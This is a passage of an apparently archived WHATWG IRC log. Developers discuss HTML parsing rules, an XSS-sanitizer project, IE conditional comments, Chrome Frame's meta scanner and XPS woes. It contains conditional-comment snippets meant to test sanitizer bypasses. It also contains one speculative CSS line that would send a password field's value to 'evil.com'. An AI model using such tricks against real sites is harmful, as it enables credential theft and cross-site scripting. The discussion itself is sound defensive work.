  696. # [11:27] * Joins: mpt (n=mpt@canonical/mpt)
  697. # [11:27] * Joins: gavin_ (n=gavin@firefox/developer/gavin)
  698. # [11:27] * Joins: virtuelv (n=virtuelv@pat-tdc.opera.com)
  699. # [11:27] * Joins: Rik|work (n=Rik|work@fw01d.skyrock.net)
  700. # [11:27] * Joins: wakaba (n=wakaba@221.157.197.113.dy.bbexcite.jp)
  701. # [11:27] * Joins: franksalim (n=frank@adsl-75-61-85-210.dsl.pltn13.sbcglobal.net)
  702. # [11:27] * Joins: annevk2 (n=annevk@pat-tdc.opera.com)
  703. # [11:27] * Joins: eml (i=eml@irk.bob.fi)
  704. # [11:27] * Joins: vs-hs (i=david@shell.etttretresju.net)
  705. # [11:27] * Joins: Philip` (n=philip@zaynar.co.uk)
  706. # [11:27] * Joins: karlcow (n=karl@nerval.la-grange.net)
  707. # [11:27] * Joins: doobar (i=david@bsdguru.net)
  708. # [11:27] * Joins: steevel (n=steevel@irc.kodslav.org)
  709. # [11:27] * Joins: hamaji (n=hamaji@220.109.219.244)
  710. # [11:27] * Joins: fupp (n=User@mg038a.studby.ntnu.no)
  711. # [11:27] * Joins: yusukes (n=yusukes@220.109.219.244)
  712. # [11:28] <jgraham> Everyone's dead Dave
  713. # [11:28] <sirdarckcat> hey :), could you give me suggestions about a security program Im making in javascript.. part of it is to parse HTML, and I have some doubts
  714. # [11:29] <sirdarckcat> this case: <script>x='<a href="</script>">';</script>
  715. # [11:29] * Joins: sebmarkbage (n=miranda@h-73-244.A146.priv.bahnhof.se)
  716. # [11:29] <sirdarckcat> should I make an exception for certain tags?
  717. # [11:29] <sirdarckcat> or whats the deal with <script>
  718. # [11:30] <zcorpan> sirdarckcat: what are you trying to do?
  719. # [11:30] <sirdarckcat> do you know CSP?
  720. # [11:31] <sirdarckcat> Im trying to implement something similar to CSP, but as a javascript script
  721. # [11:31] <sirdarckcat> apparently, it is possible...
  722. # [11:31] <sirdarckcat> but the HTML parser and CSS parsers are a headache
  723. # [11:31] <sirdarckcat> even JS is easier
  724. # [11:32] * zcorpan doesn't know what CSP is
  725. # [11:32] <sirdarckcat> this is my simple HTML parser example: http://eaea.sirdarckcat.net/testhtml.html it removes some dangerous elements
  726. # [11:32] <sirdarckcat> Mozilla CSP - Content Security Policy
  727. # [11:32] <zcorpan> ah
  728. # [11:32] <sirdarckcat> https://wiki.mozilla.org/Security/CSP
  729. # [11:33] <sirdarckcat> My approach is something like.....
  730. # [11:33] <zcorpan> i guess you need to have an html5 parser and a sanitizer
  731. # [11:33] <sirdarckcat> <html><head><script src="/acs.js">/*your-policy-here*/</script>... the rest of the html code ...
  732. # [11:34] <sirdarckcat> well... Im targetting at quirks mode first
  733. # [11:34] <sirdarckcat> but yeah
  734. # [11:34] * Quits: Rik` (n=Rik`@pha75-2-81-57-187-57.fbx.proxad.net)
  735. # [11:34] <zcorpan> quirks mode only affects <p><table> parsing
  736. # [11:34] <sirdarckcat> oh, then.. not-standards-compilant-html-parsers
  737. # [11:35] <sirdarckcat> everything is pretty easy I think, except stuff like what to do with unclosed comments, with unclosed tags, wich characters should close an HTML tag before an >, etc..
  738. # [11:36] <Philip`> So everything's pretty easy except for all the hard parts (which HTML5 defines)? :-)
  739. # [11:36] <sirdarckcat> yep
  740. # [11:36] <sirdarckcat> haha
  741. # [11:36] <zcorpan> <script>x='<a href="</script>">';</script> results in a script containing "x='<a href="" followed by the text "">';" and the straw </script> tag is dropped
  742. # [11:36] <sirdarckcat> zcorpan, yeah.. but hmm which tags behave like this?
  743. # [11:37] <sirdarckcat> only script and style?
  744. # [11:37] <zcorpan> script and style are RAWTEXT elements
  745. # [11:37] <zcorpan> um
  746. # [11:37] <zcorpan> and xmp
  747. # [11:37] <sirdarckcat> oh
  748. # [11:37] <zcorpan> and probably more i'm forgetting
  749. # [11:37] <zcorpan> you should really use an html5 parser :)
  750. # [11:38] * Quits: MikeSmith (n=MikeSmit@tea12.w3.mag.keio.ac.jp) ("Tomorrow to fresh woods, and pastures new.")
  751. # [11:38] <zcorpan> v.nu is available in javascript
  752. # [11:38] <zcorpan> the parser, that is
  753. # [11:38] * Joins: MikeSmith (n=MikeSmit@tea12.w3.mag.keio.ac.jp)
  754. # [11:38] <sirdarckcat> well, yeah I will use an html5 parser, but.. I dont want to break existing websites.. I know one of the aims of html5 is this but...
  755. # [11:38] <sirdarckcat> so I will allow the developer to choose
  756. # [11:38] * Joins: maikmerten (n=maikmert@BAE1ac4.bae.pppool.de)
  757. # [11:39] <sirdarckcat> the html5 parser, or the paranoic parser
  758. # [11:39] <sirdarckcat> mine is paranoic
  759. # [11:39] <zcorpan> i think chances are the paranoic parser is more likely to break existing websites :P
  760. # [11:40] <sirdarckcat> mmm why?
  761. # [11:40] <jgraham> sirdarckcat: What makes you think that your parser works better than a HTML5 parser
  762. # [11:40] <jgraham> ?
  763. # [11:40] * Quits: MikeSmith (n=MikeSmit@tea12.w3.mag.keio.ac.jp) (Client Quit)
  764. # [11:40] <sirdarckcat> well, its not that it works better.. is that its made specially for the project Im doing hehe
  765. # [11:40] <zcorpan> because it's nontrivial to get all the details right and existing content depends on getting all the details right
  766. # [11:40] <sirdarckcat> well, the purpose of the project is to protect against web-based threads
  767. # [11:41] <erlehmann> sirdarckcat why is that so?
  768. # [11:41] <sirdarckcat> so I made several decisions based on that objective
  769. # [11:41] <zcorpan> web-based threads?
  770. # [11:41] <sirdarckcat> welll.. mostly xss
  771. # [11:41] <Philip`> sirdarckcat: The security comes from the sanitiser and serialiser, not the parser
  772. # [11:41] <Philip`> so the parser might as well be optimised for compatibility instead
  773. # [11:41] <zcorpan> ah, threats
  774. # [11:42] <sirdarckcat> yeah threats sorry haha, philip: well.. yes and no
  775. # [11:42] <jgraham> Didn't you know that the web is actually woven from fine thread?
  776. # [11:42] <zcorpan> jgraham: true
  777. # [11:43] <sirdarckcat> the differences I have are cases like: <a x"href="....
  778. # [11:43] <zcorpan> what about <a x"href="?
  779. # [11:43] <sirdarckcat> and hmm, maybe how to behave where there's an unclosed <
  780. # [11:44] <erlehmann> sirdarckcat, your toy breaks my javascript trickery
  781. # [11:44] <erlehmann> is it intended that it kills stylesheet and ALL scripts as well ?
  782. # [11:44] <sirdarckcat> and stuff, I dont agree with html5.. haha since as an attacker I see that other approaches are safer (even if not so compatible)
  783. # [11:44] <jgraham> sirdarckcat: I don't understand waht you are saying
  784. # [11:44] <sirdarckcat> @erlehmann -> I disable them for the moment I can disable that if you want
  785. # [11:44] <erlehmann> sirdarckcat, i dont quite get what you are doing.
  786. # [11:45] <erlehmann> making pages safer by WHAT ?
  787. # [11:45] <sirdarckcat> basically, its a js-implementation of Mozilla CSP
  788. # [11:46] <Hixie> all in favour of me renaming "onseeked" to the more technically correct "onsought"?
  789. # [11:46] <zcorpan> Hixie: no
  790. # [11:46] <jgraham> Hixie: Seriously?
  791. # [11:46] <hsivonen> Hixie: have implementations shipped?
  792. # [11:46] <Philip`> I don't think I've ever heard the term "sought" used in the context of media seeking
  793. # [11:47] <zcorpan> sought is like spelling language
  794. # [11:47] <zcorpan> plus, onseeked is implemented already
  795. # [11:47] <hsivonen> I think we have a new Referer here
  796. # [11:47] <jgraham> sirdarckcat: We made a sanitizer on top of html5lib that passes these tests: http://code.google.com/p/html5lib/source/browse/testdata/sanitizer/tests1.dat
  797. # [11:48] * Quits: Lachy (n=Lachlan@85.196.122.246) ("This computer has gone to sleep")
  798. # [11:48] * Hixie informs his partner that he will be sticking with "seeked", english be damned
  799. # [11:48] <jgraham> (and some more actually)
  800. # [11:48] <Hixie> (carey is an english major, so apparently this is irksome)
  801. # [11:48] <zcorpan> hsivonen: firefox 3.5 fires 'seeked' events
  802. # [11:49] <hsivonen> zcorpan: OK. then no, it's not a good idea to rename the event
  803. # [11:49] <erlehmann> good that i only use timeupdate
  804. # [11:49] <jgraham> onsought sounds wrong to me anyway
  805. # [11:49] <erlehmann> maybe you should let this carey approve your commits as well, Hixie
  806. # [11:50] <erlehmann> ;)
  807. # [11:50] <Hixie> i didn't seriously consider renaming the event
  808. # [11:50] <Hixie> though having onsought would be pretty hilarious
  809. # [11:50] <erlehmann> onslaught !
  810. # [11:50] <sirdarckcat> @jgraham how do I test the sanitizer?
  811. # [11:50] <zcorpan> erlehmann: that's what i was going to say
  812. # [11:51] <erlehmann> zcorpan, thats what your mom said ^^
  813. # [11:51] <jgraham> sirdarckcat: clone the html5lib hg repository. Go to python/tests/ and run python test_sanitizer.py
  814. # [11:52] <sirdarckcat> thanks :)
  815. # [11:52] <erlehmann> jgraham, did you just utterly destroy everything sirdarckcat worked so hard for ?
  816. # [11:53] <sirdarckcat> haha well I dont think so, I want to find a bypass to the sanitizer
  817. # [11:53] <sirdarckcat> I will stick with the parser
  818. # [11:54] <sirdarckcat> for example, apparently IE conditional comments are deleted by the sanitizer..
  819. # [11:54] <sirdarckcat> and IE's conditoonal comments suck... <!--[if true]><img src="-->" alt="<![endif]>">
  820. # [11:56] <zcorpan> how does ie tokenize conditional comments?
  821. # [11:57] <sirdarckcat> in that case, thats an image
  822. # [11:57] <sirdarckcat> oops
  823. # [11:57] <sirdarckcat> wait
  824. # [11:57] <sirdarckcat> <!--[if true]><img src="-->" alt=""><![endif]>
  825. # [11:57] <sirdarckcat> should be like that haha
  826. # [11:58] <sirdarckcat> and ie allows nested comments
  827. # [11:58] <sirdarckcat>  <!--[if true]> <!--[if true]>1 <![endif]-->2 <![endif]-->3
  828. # [11:59] <sirdarckcat> and I want to support that :S, but iirc html5 is not compatible with IE weirdness (anyway, I dissagree with ie's parsing rules, I want to support them)
  829. # [12:00] <zcorpan> what do you mean by support?
  830. # [12:00] <zcorpan> wouldn't you just want to emit what other browsers would treat it as, i.e. "23"?
  831. # [12:00] <zcorpan> uh
  832. # [12:00] <zcorpan> "2 3"
  833. # [12:00] <sirdarckcat> well... parse what is inside the comment as IE would (or the best I can at least)
  834. # [12:01] <zcorpan> which version of ie?
  835. # [12:01] * Joins: Lachy (n=Lachlan@pat-tdc.opera.com)
  836. # [12:01] <sirdarckcat> all versions
  837. # [12:01] <zcorpan> they're all different
  838. # [12:01] <sirdarckcat> I mean, all support this comment stuff
  839. # [12:01] * Joins: roc (n=roc@121.74.152.145)
  840. # [12:02] <zcorpan> so what would you do with <!--[if IE 7]>x<![endif]--> ?
  841. # [12:02] <sirdarckcat> @zcorpan, I want to make a parser that will show 1 2 3 on IE and 2 3 on other browsers
  842. # [12:02] <roc> "DrWatson Postmortem Debugger has encountered a problem and needs to close. We are sorry for the inconvenience." sigh
  843. # [12:03] <sirdarckcat> @zcorpan, I generate an HTML comment with the content: [if IE 7]>x<![endif]
  844. # [12:03] <sirdarckcat> thats easy
  845. # [12:03] <sirdarckcat> this is not easy: <!--[if IE 7]><img src="<![endif]-->"><![endif]-->
  846. # [12:03] <sirdarckcat> :(
  847. # [12:04] <zcorpan> i thought you wanted to show the x if the browser is ie7
  848. # [12:04] <sirdarckcat> anyway.. those are some of the diffs between html5 and my parser, the comments-inside-attribute-names are other diffs
  849. # [12:04] <sirdarckcat> @zcorpan IE will do that
  850. # [12:04] <zcorpan> oh so you serialize and let the browser reparse
  851. # [12:04] <sirdarckcat> I do... document.write(safeCode.innerHTML);
  852. # [12:04] <zcorpan> ah
  853. # [12:04] <sirdarckcat> yep
  854. # [12:04] <sirdarckcat> :)
  855. # [12:05] <sirdarckcat> anyway, I really hate IE and Opera
  856. # [12:05] <sirdarckcat> they do it wrong
  857. # [12:05] <sirdarckcat> anyway...
  858. # [12:05] <zcorpan> what about <![if !IE]>x<![endif]>
  859. # [12:05] <sirdarckcat> that's left the same
  860. # [12:05] <sirdarckcat> I create an element <![if IE]>
  861. # [12:05] <sirdarckcat> only IE supports doing that
  862. # [12:05] <sirdarckcat> but, thats ok
  863. # [12:06] <sirdarckcat> only IE supports conditional comments anyway
  864. # [12:06] <zcorpan> what will happen in other browsers?
  865. # [12:06] <sirdarckcat> I ignore it
  866. # [12:06] <zcorpan> ok
  867. # [12:07] <sirdarckcat> anyway.. the way Im parsing the HTML code is not compatible with the rawtext elements :(
  868. # [12:07] <sirdarckcat> so I was wondering, if there are other cases I may be missing
  869. # [12:09] <zcorpan> "The following HTML elements have varying levels of special parsing rules: address, area, article, aside, base, basefont, bgsound, blockquote, body, br, center, col, colgroup, command, datagrid, dc, dd, details, dir, div, dl, ds, dt, embed, fieldset, figure, footer, form, frame, frameset, h1, h2, h3, h4, h5, h6, head, header, hgroup, hr, iframe, img, input, isindex, li, link, listing, menu, meta, nav, noembed, noframes, noscript, ol, p,
  870. # [12:09] <zcorpan> plaintext, pre, script, section, select, spacer, style, tbody, textarea, tfoot, thead, title, tr, ul, wbr, and xmp."
  871. # [12:10] <sirdarckcat> wow
  872. # [12:10] <sirdarckcat> haha
  873. # [12:10] <zcorpan> and then there's scoping elements and formatting elements
  874. # [12:11] <zcorpan> read the spec :)
  875. # [12:11] <sirdarckcat> hmm, I have (sort of.. not all hehe)
  876. # [12:11] <zcorpan> have you read section 9.2?
  877. # [12:12] * Quits: Lachy (n=Lachlan@pat-tdc.opera.com) ("Leaving")
  878. # [12:13] * Joins: Lachy (n=Lachlan@pat-tdc.opera.com)
  879. # [12:13] <sirdarckcat> btw, about scoping elements and formating elements, the browsers fix this in the dom, so usually I dont have to check for that.. and the other edge case I handle is plaintext, (and xmp/script/style at some degree) but I didnt know all those had special treatments
  880. # [12:13] <sirdarckcat> let me check
  881. # [12:13] <sirdarckcat> 9.2 is parsing
  882. # [12:14] <sirdarckcat> yeah
  883. # [12:14] <zcorpan> if you've read it, it shouldn't come as a surprise that all those elements have special treatments
  884. # [12:15] <sirdarckcat> hmmm thanks for the pointerm I miss-readed that
  885. # [12:15] <sirdarckcat> I beleived the browser was going to alert on those cases automatically
  886. # [12:15] <zcorpan> alert how?
  887. # [12:16] <sirdarckcat> well, like trying to put an <li> outside list, or <option>, trying to append an html node inside a <xmp>
  888. # [12:16] <sirdarckcat> or trying to append a node inside an image
  889. # [12:17] <sirdarckcat> in my tests all browsers didnt allow to do that in the DOM
  890. # [12:17] <sirdarckcat> so I just trusted them
  891. # [12:17] <zcorpan> i don't follow
  892. # [12:18] <sirdarckcat> document.createElement("img").appendChild(document.createElement("p"))
  893. # [12:18] <sirdarckcat> oh wait
  894. # [12:18] <sirdarckcat> are special parsing rules
  895. # [12:18] <gsnedders> What you do through DOM manipulation has no effect on parsing of HTML.
  896. # [12:18] <erlehmann> dc ?
  897. # [12:19] * Quits: Tristan (i=Tristan@unaffiliated/tristan) (Read error: 110 (Connection timed out))
  898. # [12:19] <sirdarckcat> hmm
  899. # [12:19] <sirdarckcat> Im confused
  900. # [12:19] <sirdarckcat> "The following HTML elements have varying levels of special parsing rules"
  901. # [12:19] * annevk2 wonders how much actually would break if HTTP interpreters switched to UTF-8
  902. # [12:19] <gsnedders> annevk2: A fair number of password forms
  903. # [12:19] <sirdarckcat> where are the special parsing rules?
  904. # [12:20] <annevk2> gsnedders, aah, really?
  905. # [12:21] <annevk2> gsnedders, they use iso-8859-1?
  906. # [12:21] <zcorpan> sirdarckcat: in http://www.whatwg.org/specs/web-apps/current-work/multipage/tokenization.html#tree-construction
  907. # [12:21] <annevk2> or more likely windows-1252
  908. # [12:21] <gsnedders> annevk2: Yup. I don't it's defined how they cope with stuff outside of that, though it obviously works.
  909. # [12:21] <gsnedders> annevk2: Some UAs use ISO-8859-1, others Windows-1252. It doesn't seem to matter for compat which.
  910. # [12:24] <zcorpan> sirdarckcat: for a trivial case of special parsing rules, see "address" (which closes <p> but is otherwise like a normal element)
  911. # [12:24] <sirdarckcat> @zcorpan wow, I;ve been in that page before but well.. as I said I just made the wrong assumptions on how the browser accepts or doesnt accept the content of the DOM
  912. # [12:26] <sirdarckcat> I'll read the spec more carefully now :)
  913. # [12:29] * Joins: tndH (n=Rob@cpc2-leed18-0-0-cust427.leed.cable.ntl.com)
  914. # [12:34] <Philip`> Reading specs carefully is a good idea :-)
  915. # [12:34] <Philip`> Well, depending on what spec it is
  916. # [12:34] <jgraham> Philip`: Only if you like complaining about them
  917. # [12:34] <Philip`> Some you just need to gather the general concepts from the spec and then trust the details will work themselves out
  918. # [12:35] <zcorpan> like HTML+RDFa
  919. # [12:36] <Philip`> That's not really a spec, it's just an early draft with lots of acknowledged issues
  920. # [12:36] <Philip`> Better to pick on examples that are Recs :-)
  921. # [12:36] <jgraham> HTML4
  922. # [12:38] <sirdarckcat> oh, btw.. if someone is interested about the project.. evendo it will utlimatelly probably going to be replaced by Mozilla CSP (once and if its implemented by all browsers), its here: http://google.sirdarckcat.net/acs.doc it has more features than CSP, but well heh
  923. # [12:39] <jgraham> Oh, that really is a Word document.
  924. # [12:39] <jgraham> Nevermind then, I guess
  925. # [12:40] <sirdarckcat> haha.. yes its word.. sorry
  926. # [12:41] <sirdarckcat> one guy from mozilla ask me the documentation, I sent him the doc and then he replied "sorry, I dont use MS office".. xD
  927. # [12:41] * Quits: mpt (n=mpt@canonical/mpt) (Remote closed the connection)
  928. # [12:41] <sirdarckcat> I was tempted to send him a link to openoffice :P but well...
  929. # [12:42] <zcorpan> he would probably reply "sorry, I dont use openoffice"
  930. # [12:43] <Philip`> You know, there's this document format that works pretty well on the web
  931. # [12:43] <Philip`> It even loads directly in a web browser, without requiring you to download hundreds of megabytes of office suite
  932. # [12:43] <jgraham> Philip`: Yeah, PDF is great
  933. # [12:43] <erlehmann> wat
  934. # [12:44] <zcorpan> Silverlight?
  935. # [12:44] <zcorpan> or is that not a document format?
  936. # [12:44] <jgraham> VRML?
  937. # [12:45] <erlehmann> interactive MNG
  938. # [12:46] <sirdarckcat> http://docs.google.com/View?id=ddqtfnx3_381fxp3zjf3
  939. # [12:46] <roc> zcorpan: the Silverlight/WPF PDF-alike is called XPS
  940. # [12:47] <Philip`> I think I was using IE8 on Vista and wanted to print a web page to a file
  941. # [12:48] <Philip`> and it had an XPS Writer printer thing
  942. # [12:48] <Philip`> so I did that, but I couldn't manage to open the XPS file again
  943. # [12:48] <Philip`> It just gave me .NET error messages whenever I tried
  944. # [12:49] <sirdarckcat> try openoffice, it can read xps
  945. # [12:49] <Philip`> If I remember correctly, it also got confused because it tried opening the XPS in my default browser, which was no IE, and the XPS viewer seems to be embedded in IE or something
  946. # [12:49] <Philip`> so I was not entirely impressed, and gave up
  947. # [12:50] <Philip`> s/no IE/not IE/
  948. # [12:50] <Philip`> sirdarckcat: I'm not downloading hundreds of megabytes of office suite just to view something equivalent to a PDF
  949. # [12:51] <sirdarckcat> Microsoft XPS Viewer
  950. # [12:51] <sirdarckcat> Download the Microsoft XPS Viewer
  951. # [12:51] <sirdarckcat> Download size: 2.8 MB*
  952. # [12:51] <Philip`> That's what I was using
  953. # [12:51] <sirdarckcat> http://www.microsoft.com/whdc/xps/viewxps.mspx
  954. # [12:51] <sirdarckcat> oh
  955. # [12:51] <sirdarckcat> :(
  956. # [12:51] <Philip`> and it just used the wrong browser and then gave .NET errors
  957. # [12:52] <zcorpan> Philip`: clearly it's your fault for using the wrong browser
  958. # [12:54] <gsnedders> sirdarckcat: That isn't supported on my OS.
  959. # [12:54] <sirdarckcat> http://www.artifex.com/downloads/
  960. # [12:54] <sirdarckcat> ..
  961. # [12:54] <sirdarckcat> haha
  962. # [12:54] * Philip` attempts to reproduce
  963. # [12:54] <Philip`> Double click on file in Explorer: download dialog pops up in Opera
  964. # [12:54] <Philip`> "Open with" is XPSViewer.exe
  965. # [12:55] <Philip`> Clicking "Open" opens another download dialog in Opera
  966. # [12:55] <sirdarckcat> haha
  967. # [12:56] <sirdarckcat> the html5 sanitizer looks very good
  968. # [12:56] <Philip`> Pasting the URL into IE spends twenty seconds thrashing the disk (obviously it's competing with Acrobat) and then says "An error occurred in the application you were using" in the normal IE error page style
  969. # [12:56] <Philip`> because of a System.Reflection.TargetInvocationException because of a System.UriFormatException
  970. # [12:57] <Philip`> because there was a colon (':') present but the port could not be parsed
  971. # [12:57] <Philip`> (I guess the URL is "C:\Users\...", because "file:///..." automatically gets converted into that in the address bar)
  972. # [12:58] <Philip`> (unless it's just confused by parsing file:///C:/...)
  973. # [12:58] <Philip`> So, yes, not a good impression of XPS
  974. # [12:58] <Philip`> (and I don't think I've done anything weird on this computer, other than installing browsers and Visual Studio and stuff)
  975. # [12:59] <Philip`> sirdarckcat: I think the way the html5lib sanitiser handles attribute values (particularly CSS) is nasty and ugly
  976. # [13:00] <jgraham> Yeah the CSS handling is really nasty
  977. # [13:00] <sirdarckcat> hmm.. if XP is the bastard child of XD and :P, XPS should have something to do with :S, so that explains it I guess
  978. # [13:00] <jgraham> The overall code isn't especially beautiful (the ginat nested if statement)
  979. # [13:00] <jgraham> But it seems to work pretty well
  980. # [13:00] * Joins: webben_ (n=benh@82.152.36.121)
  981. # [13:00] <sirdarckcat> I'll check it out, but anyway most of the dangerous CSS attributes are gone arent they? url(javascript) expression, moz-binding
  982. # [13:02] * jgraham might rewrite it someday
  983. # [13:02] <Philip`> It seems like quite a few people actually use the sanitiser for real, so it's seemingly important and useful
  984. # [13:02] * Quits: roc (n=roc@121.74.152.145)
  985. # [13:03] * Quits: webben (n=benh@dip5-fw.corp.ukl.yahoo.com) (Read error: 104 (Connection reset by peer))
  986. # [13:03] <sirdarckcat> btw.. have u guys heard about
  987. # [13:03] <sirdarckcat> reading HTML attributes with CSS
  988. # [13:04] <sirdarckcat> the seamless attribute in iframe just made it more dangerous
  989. # [13:07] <sirdarckcat> anyway, I have to go, thanks for your time guys
  990. # [13:07] * Quits: sirdarckcat (n=sdc@121.0.29.226) (Read error: 104 (Connection reset by peer))
  991. # [13:07] <Philip`> How so?
  992. # [13:07] <Philip`> Oh
  993. # [13:17] * Joins: maotzetung (n=mao@host-78-15-44-112.cust-adsl.tiscali.it)
  994. # [13:17] <Philip`> Maybe he means <style>input[type=password] { background-image: "http://evil.com/capture?" attr(value); }</style><iframe seamless src=http://innocent-site.com/autofilled-login></iframe> or something like that
  995. # [13:18] <Philip`> which sounds bad if there's not some difficulty I'm missing
  996. # [13:19] <Philip`> (I have no idea if that CSS syntax is right, but I assume there's something similar)
  997. # [13:20] <annevk2> you cannot use attr inside url()
  998. # [13:21] <Philip`> Even without attr, you can do stuff like use selectors to detect whether the password value contains 'a', whether it contains 'b', etc
  999. # [13:21] <annevk2> note that seamless only works same-origin
  1000. # [13:21] <Philip`> (That's what some example in a PowerPoint slide somewhere does)
  1001. # [13:22] <Philip`> Oh, it does?
  1002. # [13:22] <annevk2> you cannot do much more than you can do already with JavaScript afaict
  1003. # [13:22] <annevk2> "Specifically, when the attribute is set on an element and while the browsing context's active document has the same origin as the iframe element's document ..."
  1004. # [13:22] <Philip`> Sounds like XSS is irrelevant then
  1005. # [13:23] <Philip`> so that's okay
  1006. # [13:30] * Quits: virtuelv (n=virtuelv@pat-tdc.opera.com) ("Ex-Chat")
  1007. # [13:31] * Joins: virtuelv (n=virtuelv@pat-tdc.opera.com)
  1008. # [13:31] <annevk2> http://twitpic.com/iqyre lol
  1009. # [13:38] <zcorpan> hmm, the font doesn't work
  1010. # [13:49] * Quits: tkent (n=tkent@220.109.219.244) ("Leaving...")
  1011. # [13:56] * Joins: nessy (n=nessy@124-170-205-120.dyn.iinet.net.au)
  1012. # [14:00] <Lachy> zcorpan, is that X in the top corner the webfonts test?
  1013. # [14:00] <zcorpan> Lachy: yes
  1014. # [14:01] <zcorpan> it uses the Ahem font, so the glyph for "X" should be a square that covers the red background
  1015. # [14:02] <Lachy> that test fails in Chrome as well, so the bug isn't specific to the IE plugin
  1016. # [14:02] <zcorpan> oh
  1017. # [14:02] <zcorpan> i thought web fonts worked in chrome
  1018. # [14:03] <Lachy> might work in Chromium by now, but Chrome 3.0 is failing for me
  1019. # [14:04] <annevk2> also fails in Chrome nightlies on Ubuntu
  1020. # [14:05] <zcorpan> it stops at 99 after history navigation
  1021. # [14:05] <zcorpan> kungFuDeathGrip is null
  1022. # [14:06] <annevk2> oh, I do get 100/100
  1023. # [14:07] <zcorpan> i have chromium on mac, though i don't know how often it updates
  1024. # [14:08] <annevk2> my latest Chromium also goes to 99/100
  1025. # [14:08] * Joins: yutak_home (n=kee@M006079.ppp.dion.ne.jp)
  1026. # [16:09] * Disconnected
  1027. # [16:10] * Attempting to rejoin channel #whatwg
  1028. # [16:10] * Rejoined channel #whatwg
  1029. # [16:10] * Topic is 'WHATWG (HTML5) -- http://www.whatwg.org/ -- Logs: http://krijnhoetmer.nl/irc-logs/ -- Please leave your sense of logic at the door, thanks!'
  1030. # [16:10] * Set by annevk3 on Wed Sep 09 23:23:54
  1031. # [16:10] <Philip`> Rik|work: http://code.google.com/chrome/chromeframe/ says it's open-source and they wouldn't lie to us
  1032. # [16:10] <Rik|work> no, they wouldn't, of course
  1033. # [16:11] <AryehGregor> (I was really somewhat including the whole open-source ideology in the term "open-source", not just the OSI definition.)
  1034. # [16:11] <Rik|work> btw, Chrome isn't open source, Chromium is
  1035. # [16:12] <AryehGregor> Yes, yes, Chrome is only 99% open-source, I know.
  1036. # [16:12] <Philip`> Rik|work: http://src.chromium.org/svn/trunk/src/chrome_frame/
  1037. # [16:14] * Joins: lazni (n=lazni@118.71.2.236)
  1038. # [16:16] * Joins: murr4y` (n=murray@85.84-49-67.nextgentel.com)
  1039. # [16:18] <Philip`> http://src.chromium.org/svn/trunk/src/chrome_frame/utils.cc
  1040. # [16:19] * hsivonen wonders how HTMLScanner deals with <script> and conditional comments
  1041. # [16:20] <Philip`> Looks like it just tokenizes and looks for <meta> tags before <body> tags
  1042. # [16:20] <hsivonen> it would be "fun" for the flowchart if those are handled differently from how IE itself handles X-UA-Compatible
  1043. # [16:20] <hsivonen> is HTMLScanner an approximative hack or a real tokenizer?
  1044. # [16:21] <Philip`> It's a hack
  1045. # [16:21] <hsivonen> "fun"
  1046. # [16:21] <Philip`> http://src.chromium.org/svn/trunk/src/chrome_frame/html_utils.cc
  1047. # [16:22] * Joins: aroben (n=aroben@unaffiliated/aroben)
  1048. # [16:22] <Philip`> Looks like it's basically splitting strings on spaces and '=' and '/', if I'm not mistaken
  1049. # [16:22] <Philip`> (which I quite possibly am)
  1050. # [16:22] * Joins: othermaciej (n=mjs@c-69-181-42-237.hsd1.ca.comcast.net)
  1051. # [16:22] * Joins: murr5y (n=murray@103.84-49-64.nextgentel.com)
  1052. # [16:22] <Philip`> when searching for attribute names
  1053. # [16:23] <Philip`> so presumably it's going to fail on unquoted content=chrome=1
  1054. # [16:23] <hsivonen> has anyone on this channel happened to analyze how CNN video pages like http://www.cnn.com/video/#/video/offbeat/2009/09/23/wilhelm.ks.50.states.90.secs.kwch put the text in the layout?
  1055. # [16:24] <Philip`> Oh, also it's going to fail on <meta http-equiv="&#x78;-ua-compatible" content="chrome=1"> because it does string checks for x-ua-compatible first, I think
  1056. # [16:25] <zcorpan> that's ok because charset meta detection fails for that, too
  1057. # [16:25] <Philip`> And once it's found the x-ua-compatible content attribute value, it does a case-insensitive check for the substring "chrome="
  1058. # [16:26] * Quits: murr4y` (n=murray@85.84-49-67.nextgentel.com) ("leaving")
  1059. # [16:26] <zcorpan> ascii case-insensitive?
  1060. # [16:27] <Philip`> I think so
  1061. # [16:27] <Philip`> but it's whatever Win32 StrStrI does
  1062. # [16:28] <Philip`> There's also a registry setting which can give a list of "opt-in" URLs to always be rendered with Chrome
  1063. # [16:28] * Quits: murr4y (n=murray@85.84-49-67.nextgentel.com) (Read error: 110 (Connection timed out))
  1064. # [16:28] * Philip` doesn't know who does the opting in, but assumes it's Google
  1065. # [16:29] * Joins: mat_t (n=mattomas@91.189.88.12)
  1066. # [16:29] * Quits: kristallpirat (n=kristall@c-base/crew/kristall) ("Wünsche weiterhin guten Flug")
  1067. # [16:29] * Joins: sbublava (n=stephan@77.119.183.180.wireless.dyn.drei.com)
  1068. # [16:29] * Joins: miketaylr (n=mtaylor@38.117.156.163)
  1069. # [16:30] <zcorpan> why does a runtime error in a worker fire a ErrorEvent while a runtime error in <script> invokes the onerror function with three arguments?
  1070. # [16:30] <Philip`> Also, the MIME type isn't (as stated) application/chromeframe, it's application/chromepage
  1071. # [16:31] * Quits: mpt (n=mpt@canonical/mpt) (Remote closed the connection)
  1072. # [16:31] <hsivonen> w00t! I get text on CNN again.
  1073. # [16:31] <annevk2> zcorpan, I believe because implementors didn't want the complexity
  1074. # [16:32] <hsivonen> woohoo! Live DOM works again too
  1075. # [16:32] <annevk2> zcorpan, I'd complain :)
  1076. # [16:32] * Quits: dglazkov (n=dglazkov@67.188.0.62)
  1077. # [16:32] <hsivonen> Philip`: documentation FTW! Like MSDN :-)
  1078. # [16:32] * Joins: dave_levin (n=dave_lev@74.125.59.73)
  1079. # [16:34] <Philip`> hsivonen: Documentation? What documentation?
  1080. # [16:34] <Philip`> Newsgroup postings are all we get :-)
  1081. # [16:35] <Philip`> At least Microsoft does actually write technical documentation
  1082. # [16:35] * Parts: cpharmston (n=cpharmst@office.threespot.com)
  1083. # [16:40] * Joins: cpharmston (n=cpharmst@office.threespot.com)
  1084. # [16:40] * Quits: miketaylr (n=mtaylor@38.117.156.163) ("adios.")
  1085. # [16:41] * Joins: miketaylr (n=miketayl@38.117.156.163)
  1086. # [16:42] <zcorpan> annevk2: hmm, actually, workers says to "report the error", which invokes the function with three arguments
  1087. # [16:43] <zcorpan> annevk2: but then also fires an event if the error was "not handled"
  1088. # [16:44] <zcorpan> which seems broken
  1089. # [16:45] <zcorpan> unless i'm missing something
  1090. # [16:49] * Mrmil thinks "Bloody hell" if Hixie is the only author of whole canvas element.
  1091. # [16:49] <AryehGregor> Mrmil, he's the only author of the entire HTML5 spec, more or less.
